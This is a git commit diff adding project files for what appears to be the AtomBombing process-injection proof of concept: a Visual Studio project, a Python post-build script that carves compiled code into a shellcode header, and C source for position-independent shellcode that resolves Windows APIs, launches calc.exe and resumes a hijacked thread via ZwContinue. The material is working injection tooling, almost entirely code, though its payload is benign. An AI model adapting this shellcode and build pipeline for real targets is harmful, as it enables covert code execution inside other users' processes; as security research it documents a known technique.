updates and moves

n/a
2026-06-15 15:29:23 +00:00 · 2022-04-11 20:00:13 -05:00
parent 1275ea2e03
commit 900263ea6f
809 changed files with 149115 additions and 1594 deletions
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{DAD3D2B2-372F-4486-91FA-032CC0AA1133}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>AtomBombingShellcode</RootNamespace>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v120</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>
+      </PrecompiledHeader>
+      <Optimization>Disabled</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <BufferSecurityCheck>false</BufferSecurityCheck>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <MergeSections>
+      </MergeSections>
+    </Link>
+    <PostBuildEvent>
+      <Command>c:\python27\python.exe "$(SolutionDir)\$(ProjectName)\Scripts\Post_Link.py"  "$(SolutionDir)$(Configuration)\$(ProjectName).exe"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="main.c" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup>
+    <Filter Include="Source Files">
+      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
+      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
+    </Filter>
+    <Filter Include="Header Files">
+      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
+      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
+    </Filter>
+    <Filter Include="Resource Files">
+      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
+      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
+    </Filter>
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="main.c">
+      <Filter>Source Files</Filter>
+    </ClCompile>
+  </ItemGroup>
+</Project>
@@ -0,0 +1,31 @@
+import pefile
+import sys
+import os
+
+DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3"
+
+def main():
+	exe_path = sys.argv[1]
+	pe = pefile.PE(exe_path)
+	print "Starting!"
+	output = ""
+	text_section = ""
+	for section in pe.sections:
+		if ".text" in section.Name:
+			print (section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize), section.SizeOfRawData )
+			text_section = pe.get_data(section.VirtualAddress, section.SizeOfRawData)
+			binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)]
+			for byte in binary_shellcode:
+				output += "\\x%x" % ord(byte)
+	output = "#define SHELLCODE (\"%s\")" % output
+	folder, file_name = os.path.split(exe_path)
+	base, _ = os.path.splitext(file_name)
+	print os.path.join(folder, base+".h")
+	open(os.path.join(folder, base) + ".h", "wb").write(output)
+	open(os.path.join(folder, base) + ".text", "wb").write(text_section)
+	open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode)
+	
+				
+	
+if __name__ == "__main__":
+	main()
@@ -0,0 +1,95 @@
+typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName);
+typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName);
+typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow);
+typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert);
+
+typedef struct _FUNCTIONPOINTERS
+{
+	pfnLoadLibraryA pfnLoadLibraryA;
+	pfnGetProcAddress pfnGetProcAddress;
+} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;
+
+FUNCTIONPOINTERS g_FunctionPointers;
+
+void shellcode_entry();
+
+__declspec(naked) void fix_esp()
+{
+	__asm{
+		mov eax, edi;
+		add ax, 0xc4;
+		mov esp, [eax];
+		sub sp, 0x1024;
+		// This is needed for alignment purposes
+		nop;
+		nop;
+		nop;
+	}
+	
+}
+
+void shellcode_entry()
+{
+	PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337;
+	pfnWinExec pfnWinExec;
+	pfnZwContinue pfnZwContinue;
+	void * ptContext;
+	void * hKernel32;
+	void * hNtDll;
+	char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
+	char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
+	char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'};
+	char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' };
+	char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };
+
+	__asm{
+		mov[ptContext], edi;
+	}
+
+	hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32);
+	if (0 == hKernel32)
+	{
+		goto lblCleanup;
+	}
+	
+	hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll);
+	if (0 == hNtDll)
+	{
+		goto lblCleanup;
+	}
+
+	pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue);
+	if (0 == pfnZwContinue)
+	{
+		goto lblCleanup;
+	}
+
+	pfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec);
+	if (0 == pfnWinExec)
+	{
+		goto lblCleanup;
+	}
+
+	pfnWinExec(pszCalcExe, 0);
+
+	pfnZwContinue(ptContext, 1);
+
+lblCleanup:
+	return;
+}
+
+void dummy()
+{
+	int dummy = 0xDEADBABE;
+}
+
+#include <Windows.h>
+
+int main()
+{
+	g_FunctionPointers.pfnGetProcAddress = GetProcAddress;
+	g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA;
+	fix_esp();
+	shellcode_entry();
+	dummy();
+}